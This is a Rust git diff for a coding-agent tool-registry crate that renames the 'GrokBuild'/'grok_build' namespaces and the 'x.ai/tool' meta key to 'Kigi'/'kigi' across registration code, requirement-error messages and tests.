diff --git a/crates/codegen/kigi-tools/src/normalization.rs b/crates/codegen/kigi-tools/src/normalization.rs
index 5de6510..b3bcb6a 100644
--- a/crates/codegen/kigi-tools/src/normalization.rs
+++ b/crates/codegen/kigi-tools/src/normalization.rs
@@ -19,7 +19,7 @@ pub fn tool_identity_of(metadata: &dyn ToolMetadata) -> ToolIdentity {
         read_only: metadata.is_read_only(),
     }
 }
-/// Resolve `wire_name` in `toolset` and merge the canonical `x.ai/tool` object
+/// Resolve `wire_name` in `toolset` and merge the canonical `kigi/tool` object
 /// into `existing` (see [`CanonicalToolMeta::merge_into`]). Returns `existing`
 /// unchanged when the tool is unknown (uninitialized MCP, backend-hosted), so
 /// markers like `bash_mode`/`backend` are never clobbered. This is the harness
@@ -51,7 +51,7 @@ pub fn norm_offset_i64(offset: Option<i64>) -> Option<u64> {
     }
 }
 /// Project a tool's **typed** input into the harness-independent `input` dict of
-/// the `x.ai/tool` `_meta` object. Equivalent tools across toolsets emit the
+/// the `kigi/tool` `_meta` object. Equivalent tools across toolsets emit the
 /// same keys with the same meaning (a harness may add an extra key).
 ///
 /// Returns `None` for tools with no stable cross-harness shape (MCP / dynamic /
@@ -135,8 +135,8 @@ mod tests {
     }
     #[test]
     fn canonical_omits_absent_options_not_null() {
-        let grok = parse(serde_json::json!({ "variant" : "ReadFile", "target_file" : "/a" }));
-        let g = canonical_input(&grok).unwrap();
+        let kigi = parse(serde_json::json!({ "variant" : "ReadFile", "target_file" : "/a" }));
+        let g = canonical_input(&kigi).unwrap();
         let keys: Vec<&String> = g.as_object().unwrap().keys().collect();
         assert_eq!(
             keys,
diff --git a/crates/codegen/kigi-tools/src/persistence.rs b/crates/codegen/kigi-tools/src/persistence.rs
index 0975e3f..314be77 100644
--- a/crates/codegen/kigi-tools/src/persistence.rs
+++ b/crates/codegen/kigi-tools/src/persistence.rs
@@ -310,7 +310,7 @@ mod tests {
         // Final state is intact and reflects the last write.
         let content = std::fs::read_to_string(&state_path).unwrap();
         let parsed: serde_json::Value = serde_json::from_str(&content).unwrap();
-        assert!(parsed["state"]["grok_build.WebCitation"].is_object());
+        assert!(parsed["state"]["kigi.WebCitation"].is_object());
     }
 
     #[tokio::test]
@@ -334,7 +334,7 @@ mod tests {
         assert!(state_path.exists());
         let content = std::fs::read_to_string(&state_path).unwrap();
         let parsed: serde_json::Value = serde_json::from_str(&content).unwrap();
-        // Should have "state" category with "grok_build.WebCitation" key
-        assert!(parsed["state"]["grok_build.WebCitation"].is_object());
+        // Should have "state" category with "kigi.WebCitation" key
+        assert!(parsed["state"]["kigi.WebCitation"].is_object());
     }
 }
diff --git a/crates/codegen/kigi-tools/src/registry/proto_convert.rs b/crates/codegen/kigi-tools/src/registry/proto_convert.rs
index 5296e61..075dfe3 100644
--- a/crates/codegen/kigi-tools/src/registry/proto_convert.rs
+++ b/crates/codegen/kigi-tools/src/registry/proto_convert.rs
@@ -86,8 +86,8 @@ mod tests {
 
     #[test]
     fn minimal_entry_converts_with_defaults() {
-        let cfg = tool_config_from_entry(0, entry("GrokBuild:read_file")).unwrap();
-        assert_eq!(cfg.id, "GrokBuild:read_file");
+        let cfg = tool_config_from_entry(0, entry("Kigi:read_file")).unwrap();
+        assert_eq!(cfg.id, "Kigi:read_file");
         assert_eq!(cfg.params, None);
         assert_eq!(cfg.name_override, None);
         assert_eq!(cfg.params_name_overrides, None);
@@ -98,7 +98,7 @@ mod tests {
 
     #[test]
     fn fully_populated_entry_converts_field_by_field() {
-        let mut e = entry("GrokBuild:grep");
+        let mut e = entry("Kigi:grep");
         e.params_json = Some(r#"{"max_results": 50}"#.to_owned());
         e.name_override = Some("search".to_owned());
         e.params_name_overrides =
@@ -130,11 +130,11 @@ mod tests {
 
     #[test]
     fn invalid_params_json_is_a_parse_error() {
-        let mut e = entry("GrokBuild:bash");
+        let mut e = entry("Kigi:bash");
         e.params_json = Some("{not json".to_owned());
         let err = tool_config_from_entry(3, e).unwrap_err();
         assert_eq!(err.index, 3);
-        assert_eq!(err.tool_id, "GrokBuild:bash");
+        assert_eq!(err.tool_id, "Kigi:bash");
         assert_eq!(err.field_path(), "tools[3].params_json");
         assert!(matches!(
             &err.kind,
@@ -144,7 +144,7 @@ mod tests {
 
     #[test]
     fn non_object_params_json_is_a_type_error() {
-        let mut e = entry("GrokBuild:bash");
+        let mut e = entry("Kigi:bash");
         e.params_json = Some("[1, 2]".to_owned());
         let err = tool_config_from_entry(1, e).unwrap_err();
         assert_eq!(
@@ -158,8 +158,8 @@ mod tests {
 
     #[test]
     fn name_override_valid_tool_id_charset_is_accepted() {
-        for name in ["search", "GrokBuild:grep", "a-b_C9"] {
-            let mut e = entry("GrokBuild:grep");
+        for name in ["search", "Kigi:grep", "a-b_C9"] {
+            let mut e = entry("Kigi:grep");
             e.name_override = Some(name.to_owned());
             let cfg = tool_config_from_entry(0, e).unwrap();
             assert_eq!(cfg.name_override.as_deref(), Some(name));
@@ -169,11 +169,11 @@ mod tests {
     #[test]
     fn name_override_outside_tool_id_charset_is_rejected() {
         for name in ["has space", "", "a:b:c", "emoji✨", "dot.name"] {
-            let mut e = entry("GrokBuild:grep");
+            let mut e = entry("Kigi:grep");
             e.name_override = Some(name.to_owned());
             let err = tool_config_from_entry(2, e).unwrap_err();
             assert_eq!(err.index, 2, "name={name:?}");
-            assert_eq!(err.tool_id, "GrokBuild:grep");
+            assert_eq!(err.tool_id, "Kigi:grep");
             assert_eq!(err.field_path(), "tools[2].name_override");
             assert!(
                 matches!(
@@ -188,7 +188,7 @@ mod tests {
 
     #[test]
     fn server_config_conversion_rejects_invalid_name_override_entry() {
-        let mut bad = entry("GrokBuild:grep");
+        let mut bad = entry("Kigi:grep");
         bad.name_override = Some("bad name".to_owned());
         let err = tool_server_config_from_entries(vec![entry("ok"), bad]).unwrap_err();
         assert_eq!(err.index, 1, "fails closed on the offending entry");
@@ -200,9 +200,9 @@ mod tests {
 
     #[test]
     fn server_config_conversion_preserves_valid_name_overrides() {
-        let mut a = entry("GrokBuild:grep");
+        let mut a = entry("Kigi:grep");
         a.name_override = Some("search".to_owned());
-        let cfg = tool_server_config_from_entries(vec![a, entry("GrokBuild:bash")]).unwrap();
+        let cfg = tool_server_config_from_entries(vec![a, entry("Kigi:bash")]).unwrap();
         assert_eq!(cfg.tools.len(), 2);
         assert_eq!(cfg.tools[0].name_override.as_deref(), Some("search"));
         assert_eq!(cfg.tools[1].name_override, None);
diff --git a/crates/codegen/kigi-tools/src/registry/types.rs b/crates/codegen/kigi-tools/src/registry/types.rs
index 44e1ec5..bf368cc 100644
--- a/crates/codegen/kigi-tools/src/registry/types.rs
+++ b/crates/codegen/kigi-tools/src/registry/types.rs
@@ -1,8 +1,7 @@
 use crate::{
     computer::types::{AsyncFileSystem, TerminalBackend},
     implementations::{
-        codex, grok_build, grok_build_concise, grok_build_hashline, opencode,
-        skills::types::SkillInfo,
+        codex, kigi, kigi_concise, kigi_hashline, opencode, skills::types::SkillInfo,
     },
     notification::ToolNotificationHandle,
     persistence::ResourcesPersistence,
@@ -237,7 +236,7 @@ pub struct SessionContext {
     /// scheduler actor instead of spawning its own, so scheduled tasks survive
     /// subagent exit.
     pub parent_scheduler_handle:
-        Option<crate::implementations::grok_build::scheduler::types::SchedulerHandle>,
+        Option<crate::implementations::kigi::scheduler::types::SchedulerHandle>,
     /// Available skills for the Skill tool and description templates.
     pub skills: Vec<SkillInfo>,
     /// File path for persisting Resources state across restarts.
@@ -258,7 +257,7 @@ pub struct SessionContext {
     /// Optional web fetch configuration. When `Enabled`, a `WebFetchClient`
     /// is created and injected into `Resources` so the `web_fetch` tool can
     /// fetch URLs. When `Disabled` (default), the tool is not registered.
-    pub web_fetch_config: crate::implementations::grok_build::web_fetch::WebFetchConfig,
+    pub web_fetch_config: crate::implementations::kigi::web_fetch::WebFetchConfig,
     /// Optional shared LSP handle — created once by the caller (shell),
     /// passed to every session. Same pattern as `fs` and `backend`.
     /// When `Some`, inserted into `Resources` so `LspTool` can use it.
@@ -267,7 +266,7 @@ pub struct SessionContext {
     /// `deploy_app` tool connects to the service at call time using the shared
     /// API key provider.
     pub app_builder_deployer_config:
-        crate::implementations::grok_build::deploy_app::AppBuilderDeployerConfig,
+        crate::implementations::kigi::deploy_app::AppBuilderDeployerConfig,
     /// Dynamic API key provider for tool HTTP clients.
     /// When set, clients resolve the API key per-request from this provider
     /// instead of using the key baked into their config at construction time.
@@ -604,14 +603,14 @@ impl ToolRegistryBuilder {
         );
     }
     /// Whether this registry knows the fully-qualified tool id
-    /// (`"GrokBuild:read_file"`).
+    /// (`"Kigi:read_file"`).
     pub fn has_tool_id(&self, id: &str) -> bool {
         self.tools.contains_key(id)
     }
     pub fn known_tool_ids(&self) -> std::collections::HashSet<String> {
         self.tools.keys().cloned().collect()
     }
-    /// Fully-qualified tool id (`"GrokBuild:read_file"`) → declared
+    /// Fully-qualified tool id (`"Kigi:read_file"`) → declared
     /// [`ToolKind`], for every registered tool. Lets consumers that receive
     /// kind-less tool configs (e.g. hub `session.bind` wire entries) backfill
     /// the kind from the binary's own registry before capability filtering.
@@ -644,35 +643,35 @@ impl ToolRegistryBuilder {
             reminders: Vec::new(),
             shared_local_registry: None,
         };
-        b.register_with_params::<grok_build::BashTool, grok_build::bash::BashParams>();
-        b.register_with_params::<grok_build::ReadFileTool, grok_build::read_file::ReadFileParams>();
+        b.register_with_params::<kigi::BashTool, kigi::bash::BashParams>();
+        b.register_with_params::<kigi::ReadFileTool, kigi::read_file::ReadFileParams>();
         b.register_with_params::<
-                grok_build::SearchReplaceTool,
-                grok_build::search_replace::SearchReplaceParams,
+                kigi::SearchReplaceTool,
+                kigi::search_replace::SearchReplaceParams,
             >();
-        b.register_with_params::<grok_build::ListDirTool, grok_build::list_dir::ListDirParams>();
-        b.register_with_params::<grok_build::GrepTool, grok_build::grep::GrepParams>();
-        b.register::<grok_build::KillTaskTool>();
-        b.register::<grok_build::KillTerminalCommandTool>();
-        b.register::<grok_build::TodoWriteTool>();
-        b.register::<grok_build::UpdateGoalTool>();
-        b.register::<grok_build::TaskOutputTool>();
-        b.register::<grok_build::GetTerminalCommandOutputTool>();
-        b.register::<grok_build::WaitTasksTool>();
-        b.register::<grok_build::TaskTool>();
-        b.register::<grok_build::WebSearchTool>();
-        b.register_with_params::<grok_build::WebFetchTool, grok_build::web_fetch::WebFetchParams>();
-        b.register::<grok_build::LspTool>();
-        b.register::<grok_build::EnterPlanModeTool>();
-        b.register::<grok_build::ExitPlanModeTool>();
+        b.register_with_params::<kigi::ListDirTool, kigi::list_dir::ListDirParams>();
+        b.register_with_params::<kigi::GrepTool, kigi::grep::GrepParams>();
+        b.register::<kigi::KillTaskTool>();
+        b.register::<kigi::KillTerminalCommandTool>();
+        b.register::<kigi::TodoWriteTool>();
+        b.register::<kigi::UpdateGoalTool>();
+        b.register::<kigi::TaskOutputTool>();
+        b.register::<kigi::GetTerminalCommandOutputTool>();
+        b.register::<kigi::WaitTasksTool>();
+        b.register::<kigi::TaskTool>();
+        b.register::<kigi::WebSearchTool>();
+        b.register_with_params::<kigi::WebFetchTool, kigi::web_fetch::WebFetchParams>();
+        b.register::<kigi::LspTool>();
+        b.register::<kigi::EnterPlanModeTool>();
+        b.register::<kigi::ExitPlanModeTool>();
         b.register_with_params::<
-                grok_build::AskUserQuestionTool,
-                grok_build::ask_user_question::AskUserQuestionParams,
+                kigi::AskUserQuestionTool,
+                kigi::ask_user_question::AskUserQuestionParams,
             >();
-        b.register::<grok_build::MonitorTool>();
-        b.register::<grok_build::SchedulerCreateTool>();
-        b.register::<grok_build::SchedulerDeleteTool>();
-        b.register::<grok_build::SchedulerListTool>();
+        b.register::<kigi::MonitorTool>();
+        b.register::<kigi::SchedulerCreateTool>();
+        b.register::<kigi::SchedulerDeleteTool>();
+        b.register::<kigi::SchedulerListTool>();
         b.register::<codex::apply_patch::ApplyPatchTool>();
         b.register::<codex::list_dir::CodexListDirTool>();
         b.register::<codex::grep_files::CodexGrepFilesTool>();
@@ -693,28 +692,25 @@ impl ToolRegistryBuilder {
                 crate::implementations::use_tool::UseToolParams,
             >();
         b.register_with_params::<
-                grok_build_concise::ReadFileConciseTool,
-                grok_build::read_file::ReadFileParams,
+                kigi_concise::ReadFileConciseTool,
+                kigi::read_file::ReadFileParams,
             >();
         b.register_with_params::<
-                grok_build_concise::SearchReplaceConciseTool,
-                grok_build::search_replace::SearchReplaceParams,
+                kigi_concise::SearchReplaceConciseTool,
+                kigi::search_replace::SearchReplaceParams,
+            >();
+        b.register_with_params::<kigi_concise::BashConciseTool, kigi::bash::BashParams>();
+        b.register_with_params::<
+                kigi_hashline::HashlineReadTool,
+                kigi_hashline::config::HashlineSchemeParams,
             >();
         b.register_with_params::<
-                grok_build_concise::BashConciseTool,
-                grok_build::bash::BashParams,
+                kigi_hashline::HashlineEditTool,
+                kigi_hashline::config::HashlineSchemeParams,
             >();
         b.register_with_params::<
-                grok_build_hashline::HashlineReadTool,
-                grok_build_hashline::config::HashlineSchemeParams,
-            >();
-        b.register_with_params::<
-                grok_build_hashline::HashlineEditTool,
-                grok_build_hashline::config::HashlineSchemeParams,
-            >();
-        b.register_with_params::<
-                grok_build_hashline::HashlineGrepTool,
-                grok_build_hashline::config::HashlineSchemeParams,
+                kigi_hashline::HashlineGrepTool,
+                kigi_hashline::config::HashlineSchemeParams,
             >();
         b.register_reminder(crate::reminders::LspDiagnosticsReminder);
         b.register_reminder(crate::reminders::TaskCompletionReminder);
@@ -834,15 +830,12 @@ impl ToolRegistryBuilder {
             return errors;
         }
         {
-            let standard_file_ids: &[&str] = &[
-                "GrokBuild:read_file",
-                "GrokBuild:search_replace",
-                "GrokBuild:grep",
-            ];
+            let standard_file_ids: &[&str] =
+                &["Kigi:read_file", "Kigi:search_replace", "Kigi:grep"];
             let hashline_file_ids: &[&str] = &[
-                "GrokBuildHashline:hashline_read",
-                "GrokBuildHashline:hashline_edit",
-                "GrokBuildHashline:hashline_grep",
+                "KigiHashline:hashline_read",
+                "KigiHashline:hashline_edit",
+                "KigiHashline:hashline_grep",
             ];
             let has_standard = config
                 .tools
@@ -980,10 +973,10 @@ impl ToolRegistryBuilder {
         if let Some(lsp) = ctx.lsp {
             resources.insert(lsp);
         }
-        if let crate::implementations::grok_build::web_fetch::WebFetchConfig::Enabled { params } =
+        if let crate::implementations::kigi::web_fetch::WebFetchConfig::Enabled { params } =
             &ctx.web_fetch_config
         {
-            match crate::implementations::grok_build::web_fetch::WebFetchClient::new(
+            match crate::implementations::kigi::web_fetch::WebFetchClient::new(
                 params,
                 ctx.api_key_provider.clone(),
             ) {
@@ -995,7 +988,7 @@ impl ToolRegistryBuilder {
                 }
             }
         }
-        let concise_ns = crate::types::tool::ToolNamespace::GrokBuildConcise.to_string();
+        let concise_ns = crate::types::tool::ToolNamespace::KigiConcise.to_string();
         let has_concise_tools = config.tools.iter().any(|tc| {
             self.tools
                 .get(&tc.id)
@@ -1005,15 +998,14 @@ impl ToolRegistryBuilder {
             resources.insert(crate::types::resources::SystemRemindersEnabled(false));
         }
         resources.register_state::<crate::reminders::task_completion::ReportedTaskCompletions>();
-        resources.register_state::<crate::implementations::grok_build::todo::TodoState>();
+        resources.register_state::<crate::implementations::kigi::todo::TodoState>();
         resources.register_state::<crate::types::resources::WebCitationCounter>();
         resources
             .register_state::<
                 crate::implementations::cursor_rules_on_read::CursorRulesOnReadTracker,
             >();
         resources
-            .register_state::<crate::implementations::grok_build::scheduler::types::SchedulerState>(
-            );
+            .register_state::<crate::implementations::kigi::scheduler::types::SchedulerState>();
         for entry in self.tools.values() {
             (entry.register_params)(&mut resources);
         }
@@ -1119,23 +1111,22 @@ impl ToolRegistryBuilder {
         }
         let renderer_arc = Arc::new(renderer.clone());
         resources.insert(renderer);
-        let (scheduler_cmd_rx, scheduler_cancel_token) =
-            if let Some(parent_handle) = ctx.parent_scheduler_handle {
-                resources.insert(parent_handle);
-                (None, None)
-            } else {
-                let (scheduler_cmd_tx, scheduler_cmd_rx) = tokio::sync::mpsc::unbounded_channel();
-                let cancel_token = tokio_util::sync::CancellationToken::new();
-                resources.insert(
-                    crate::implementations::grok_build::scheduler::types::SchedulerHandle(
-                        scheduler_cmd_tx,
-                    ),
-                );
-                (Some(scheduler_cmd_rx), Some(cancel_token))
-            };
+        let (scheduler_cmd_rx, scheduler_cancel_token) = if let Some(parent_handle) =
+            ctx.parent_scheduler_handle
+        {
+            resources.insert(parent_handle);
+            (None, None)
+        } else {
+            let (scheduler_cmd_tx, scheduler_cmd_rx) = tokio::sync::mpsc::unbounded_channel();
+            let cancel_token = tokio_util::sync::CancellationToken::new();
+            resources.insert(
+                crate::implementations::kigi::scheduler::types::SchedulerHandle(scheduler_cmd_tx),
+            );
+            (Some(scheduler_cmd_rx), Some(cancel_token))
+        };
         let shared_resources = resources.into_shared();
         if let (Some(cmd_rx), Some(cancel_token)) = (scheduler_cmd_rx, &scheduler_cancel_token) {
-            let actor = crate::implementations::grok_build::scheduler::actor::SchedulerActor {
+            let actor = crate::implementations::kigi::scheduler::actor::SchedulerActor {
                 resources: shared_resources.clone(),
                 notification_handle: scheduler_notification_handle,
                 cmd_rx,
@@ -1287,7 +1278,7 @@ impl FinalizedToolset {
     }
     /// Resolve canonical [`ToolIdentity`] (kind, namespace, presentation label)
     /// for a tool by its client-facing wire name. Drives the first-party
-    /// `x.ai/*` tool `_meta` contract (tool normalization). Returns `None` for
+    /// `kigi/*` tool `_meta` contract (tool normalization). Returns `None` for
     /// unknown tools (e.g. uninitialized MCP, backend-only tools).
     pub fn tool_identity(&self, tool_name: &str) -> Option<crate::normalization::ToolIdentity> {
         self.tools
@@ -1749,16 +1740,16 @@ fn explain_requirement_failure(
 ) -> RequirementError {
     let fq_tool_id = format!("{}:{}", entry.namespace, entry.id);
     match fq_tool_id.as_str() {
-        "GrokBuild:run_terminal_cmd" if params
+        "Kigi:run_terminal_cmd" if params
             .get("enabled_background")
             .and_then(|value| value.as_bool())
             .unwrap_or(true) => {
             let mut missing = vec![];
             if !has_tool_kind(proposed, ToolKind::BackgroundTaskAction) {
-                missing.push("GrokBuild:get_task_output");
+                missing.push("Kigi:get_task_output");
             }
             if !has_tool_kind(proposed, ToolKind::KillTaskAction) {
-                missing.push("GrokBuild:kill_task");
+                missing.push("Kigi:kill_task");
             }
             let message = if missing.is_empty() {
                 "unsatisfied requirements".to_string()
@@ -1776,13 +1767,13 @@ fn explain_requirement_failure(
                 .with_bad_value(serde_json::Value::Bool(true))
                 .with_category("requirements")
         }
-        "GrokBuild:task" => {
+        "Kigi:task" => {
             let mut missing = vec![];
             if !has_tool_kind(proposed, ToolKind::BackgroundTaskAction) {
-                missing.push("GrokBuild:get_task_output");
+                missing.push("Kigi:get_task_output");
             }
             if !has_tool_kind(proposed, ToolKind::KillTaskAction) {
-                missing.push("GrokBuild:kill_task");
+                missing.push("Kigi:kill_task");
             }
             RequirementError::new(
                     fq_tool_id,
@@ -1795,43 +1786,43 @@ fn explain_requirement_failure(
                 .with_expected("include get_task_output and kill_task")
                 .with_category("requirements")
         }
-        "GrokBuild:get_task_output" => {
-            let has_grok_build_bash = has_tool_with_bool_param(
+        "Kigi:get_task_output" => {
+            let has_kigi_bash = has_tool_with_bool_param(
                 proposed,
-                "GrokBuild",
+                "Kigi",
                 "run_terminal_cmd",
                 "enabled_background",
                 true,
             );
-            let has_grok_build_concise_bash = has_tool_with_bool_param(
+            let has_kigi_concise_bash = has_tool_with_bool_param(
                 proposed,
-                "GrokBuildConcise",
+                "KigiConcise",
                 "run_terminal_cmd",
                 "enabled_background",
                 true,
             );
             let has_opencode_bash = has_tool(proposed, "OpenCode", "bash");
-            let has_task = has_tool(proposed, "GrokBuild", "task");
+            let has_task = has_tool(proposed, "Kigi", "task");
             let mut notes = vec![];
-            if has_tool(proposed, "GrokBuild", "run_terminal_cmd")
-                && !has_grok_build_bash
+            if has_tool(proposed, "Kigi", "run_terminal_cmd")
+                && !has_kigi_bash
             {
                 notes
                     .push(
-                        "GrokBuild:run_terminal_cmd is present but enabled_background=false",
+                        "Kigi:run_terminal_cmd is present but enabled_background=false",
                     );
             }
-            if has_tool(proposed, "GrokBuildConcise", "run_terminal_cmd")
-                && !has_grok_build_concise_bash
+            if has_tool(proposed, "KigiConcise", "run_terminal_cmd")
+                && !has_kigi_concise_bash
             {
                 notes
                     .push(
-                        "GrokBuildConcise:run_terminal_cmd is present but enabled_background=false",
+                        "KigiConcise:run_terminal_cmd is present but enabled_background=false",
                     );
             }
-            let mut message = "get_task_output requires a background-capable bash tool (GrokBuild:run_terminal_cmd or GrokBuildConcise:run_terminal_cmd with enabled_background=true), OpenCode:bash, or GrokBuild:task"
+            let mut message = "get_task_output requires a background-capable bash tool (Kigi:run_terminal_cmd or KigiConcise:run_terminal_cmd with enabled_background=true), OpenCode:bash, or Kigi:task"
                 .to_string();
-            let has_provider = has_grok_build_bash || has_grok_build_concise_bash
+            let has_provider = has_kigi_bash || has_kigi_concise_bash
                 || has_opencode_bash || has_task;
             if !has_provider && !notes.is_empty() {
                 message.push_str(&format!("; {}", notes.join("; ")));
@@ -1839,11 +1830,11 @@ fn explain_requirement_failure(
             RequirementError::new(fq_tool_id, message)
                 .with_field_path("tools")
                 .with_expected(
-                    "include a background-capable bash tool, OpenCode:bash, or GrokBuild:task",
+                    "include a background-capable bash tool, OpenCode:bash, or Kigi:task",
                 )
                 .with_category("requirements")
         }
-        "GrokBuild:search_replace" if !params
+        "Kigi:search_replace" if !params
             .get("skip_read_before_edit")
             .and_then(|value| value.as_bool())
             .unwrap_or(false) && !has_tool_kind(proposed, ToolKind::Read) => {
@@ -1853,27 +1844,27 @@ fn explain_requirement_failure(
                 )
                 .with_field_path("params.skip_read_before_edit")
                 .with_expected(
-                    "set skip_read_before_edit=true or include a Read tool such as GrokBuild:read_file",
+                    "set skip_read_before_edit=true or include a Read tool such as Kigi:read_file",
                 )
                 .with_bad_value(serde_json::Value::Bool(false))
                 .with_category("requirements")
         }
-        "GrokBuild:enter_plan_mode" => {
+        "Kigi:enter_plan_mode" => {
             RequirementError::new(
                     fq_tool_id,
-                    "enter_plan_mode requires GrokBuild:exit_plan_mode so plan mode can always be exited",
+                    "enter_plan_mode requires Kigi:exit_plan_mode so plan mode can always be exited",
                 )
                 .with_field_path("tools")
-                .with_expected("include GrokBuild:exit_plan_mode")
+                .with_expected("include Kigi:exit_plan_mode")
                 .with_category("requirements")
         }
-        "GrokBuild:exit_plan_mode" => {
+        "Kigi:exit_plan_mode" => {
             RequirementError::new(
                     fq_tool_id,
-                    "exit_plan_mode requires GrokBuild:enter_plan_mode so plan mode can be entered before exiting",
+                    "exit_plan_mode requires Kigi:enter_plan_mode so plan mode can be entered before exiting",
                 )
                 .with_field_path("tools")
-                .with_expected("include GrokBuild:enter_plan_mode")
+                .with_expected("include Kigi:enter_plan_mode")
                 .with_category("requirements")
         }
         _ => {
@@ -1954,11 +1945,10 @@ mod tests {
             state_path: tmp.path().join("state.json"),
             memory_backend: None,
             web_search_config: crate::implementations::web_search::WebSearchConfig::default(),
-            web_fetch_config:
-                crate::implementations::grok_build::web_fetch::WebFetchConfig::default(),
+            web_fetch_config: crate::implementations::kigi::web_fetch::WebFetchConfig::default(),
             lsp: None,
             app_builder_deployer_config:
-                crate::implementations::grok_build::deploy_app::AppBuilderDeployerConfig::default(),
+                crate::implementations::kigi::deploy_app::AppBuilderDeployerConfig::default(),
             api_key_provider: None,
             attribution_callback: None,
             system_reminder_tag: crate::reminders::DEFAULT_REMINDER_TAG,
@@ -1970,7 +1960,7 @@ mod tests {
     /// Before the fix, the `kind_params` builder used `if map.is_empty()` to
     /// seed identity param-name mappings only from the **first** tool of each
     /// kind. When `codex:apply_patch` (`ToolKind::Edit`, input: `{ patch }`)
-    /// appeared before `grok_build:search_replace` (`ToolKind::Edit`, input:
+    /// appeared before `kigi:search_replace` (`ToolKind::Edit`, input:
     /// `{ file_path, old_string, new_string, replace_all }`), the renderer's
     /// context had `params.edit = { "patch": "patch" }` — missing
     /// `replace_all`. At runtime, the template `${{ params.edit.replace_all }}`
@@ -1992,7 +1982,7 @@ mod tests {
                     kind: None,
                 },
                 ToolConfig {
-                    id: "GrokBuild:search_replace".to_string(),
+                    id: "Kigi:search_replace".to_string(),
                     params: Some(
                         serde_json::json!({
                 "skip_read_before_edit" : true })
@@ -2051,7 +2041,7 @@ mod tests {
         let config = ToolServerConfig {
             tools: vec![
                 ToolConfig {
-                    id: "GrokBuild:read_file".to_string(),
+                    id: "Kigi:read_file".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -2060,7 +2050,7 @@ mod tests {
                     kind: None,
                 },
                 ToolConfig {
-                    id: "GrokBuild:search_replace".to_string(),
+                    id: "Kigi:search_replace".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -2095,13 +2085,13 @@ mod tests {
             "rendered description must not contain raw template placeholders"
         );
     }
-    /// Smoke test: finalize the full GrokBuild toolset and verify every
+    /// Smoke test: finalize the full Kigi toolset and verify every
     /// tool description is fully rendered -- no unresolved MiniJinja vars,
     /// no stale `{max_*}` placeholders, no empty tool-name references from
     /// missing conditional guards.
     #[tokio::test]
     async fn full_toolset_descriptions_render_cleanly() {
-        use crate::implementations::grok_build::{
+        use crate::implementations::kigi::{
             SCHEDULER_CREATE_TOOL_NAME, SCHEDULER_DELETE_TOOL_NAME,
         };
         let builder = ToolRegistryBuilder::new();
@@ -2128,7 +2118,7 @@ mod tests {
                 "scheduler_list",
             ]
             .into_iter()
-            .map(|id| ToolConfig::from_id(format!("GrokBuild:{id}")))
+            .map(|id| ToolConfig::from_id(format!("Kigi:{id}")))
             .collect(),
             behavior_preset: None,
         };
@@ -2168,30 +2158,30 @@ mod tests {
         }
     }
     /// Bash mode resolves the toolset's execute tool by kind, not a hardcoded
-    /// name: `run_terminal_cmd` (grok).
+    /// name: `run_terminal_cmd` (kigi).
     #[tokio::test]
     async fn tool_name_for_kind_resolves_execute() {
         use crate::types::tool::ToolKind;
         let tmp = TempDir::new().unwrap();
-        let grok = ToolRegistryBuilder::new()
+        let kigi = ToolRegistryBuilder::new()
             .finalize(
                 ToolServerConfig {
                     tools: vec![
-                        ToolConfig::from_id("GrokBuild:run_terminal_cmd".to_string()),
-                        ToolConfig::from_id("GrokBuild:get_task_output".to_string()),
-                        ToolConfig::from_id("GrokBuild:kill_task".to_string()),
+                        ToolConfig::from_id("Kigi:run_terminal_cmd".to_string()),
+                        ToolConfig::from_id("Kigi:get_task_output".to_string()),
+                        ToolConfig::from_id("Kigi:kill_task".to_string()),
                     ],
                     behavior_preset: None,
                 },
                 test_session_context(&tmp),
             )
-            .expect("grok toolset should finalize");
+            .expect("kigi toolset should finalize");
         assert_eq!(
-            grok.tool_name_for_kind(ToolKind::Execute).as_deref(),
+            kigi.tool_name_for_kind(ToolKind::Execute).as_deref(),
             Some("run_terminal_cmd")
         );
     }
-    /// `merge_tool_meta` (the harness emission path) must stamp `x.ai/tool` for a
+    /// `merge_tool_meta` (the harness emission path) must stamp `kigi/tool` for a
     /// known tool while preserving existing markers, and leave meta untouched for
     /// an unknown tool.
     #[tokio::test]
@@ -2201,9 +2191,9 @@ mod tests {
         use crate::types::tool_io::ToolInput;
         let config = ToolServerConfig {
             tools: vec![
-                ToolConfig::from_id("GrokBuild:run_terminal_cmd".to_string()),
-                ToolConfig::from_id("GrokBuild:get_task_output".to_string()),
-                ToolConfig::from_id("GrokBuild:kill_task".to_string()),
+                ToolConfig::from_id("Kigi:run_terminal_cmd".to_string()),
+                ToolConfig::from_id("Kigi:get_task_output".to_string()),
+                ToolConfig::from_id("Kigi:kill_task".to_string()),
             ],
             behavior_preset: None,
         };
@@ -2244,9 +2234,9 @@ mod tests {
     async fn identity_read_only_honors_per_tool_override() {
         let config = ToolServerConfig {
             tools: vec![
-                ToolConfig::from_id("GrokBuild:run_terminal_cmd".to_string()),
-                ToolConfig::from_id("GrokBuild:get_task_output".to_string()),
-                ToolConfig::from_id("GrokBuild:kill_task".to_string()),
+                ToolConfig::from_id("Kigi:run_terminal_cmd".to_string()),
+                ToolConfig::from_id("Kigi:get_task_output".to_string()),
+                ToolConfig::from_id("Kigi:kill_task".to_string()),
             ],
             behavior_preset: None,
         };
@@ -2269,11 +2259,11 @@ mod tests {
         let parse = |v: serde_json::Value| -> ToolConfig {
             serde_json::from_value(v).expect("ToolConfig deserializes")
         };
-        let known = parse(serde_json::json!({ "id" : "GrokBuild:read_file", "kind" : "read" }));
+        let known = parse(serde_json::json!({ "id" : "Kigi:read_file", "kind" : "read" }));
         assert_eq!(known.kind, Some(ToolKind::Read));
-        let typo = parse(serde_json::json!({ "id" : "GrokBuild:read_file", "kind" : "raed" }));
+        let typo = parse(serde_json::json!({ "id" : "Kigi:read_file", "kind" : "raed" }));
         assert_eq!(typo.kind, Some(ToolKind::Other));
-        let absent = parse(serde_json::json!({ "id" : "GrokBuild:read_file" }));
+        let absent = parse(serde_json::json!({ "id" : "Kigi:read_file" }));
         assert_eq!(absent.kind, None);
     }
     /// End-to-end: a `params_name_overrides` rename of `old_string` must flow
@@ -2285,7 +2275,7 @@ mod tests {
         let config = ToolServerConfig {
             tools: vec![
                 ToolConfig {
-                    id: "GrokBuild:read_file".to_string(),
+                    id: "Kigi:read_file".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: None,
@@ -2294,7 +2284,7 @@ mod tests {
                     kind: None,
                 },
                 ToolConfig {
-                    id: "GrokBuild:search_replace".to_string(),
+                    id: "Kigi:search_replace".to_string(),
                     params: None,
                     name_override: None,
                     params_name_overrides: Some(std::collections::HashMap::from([(
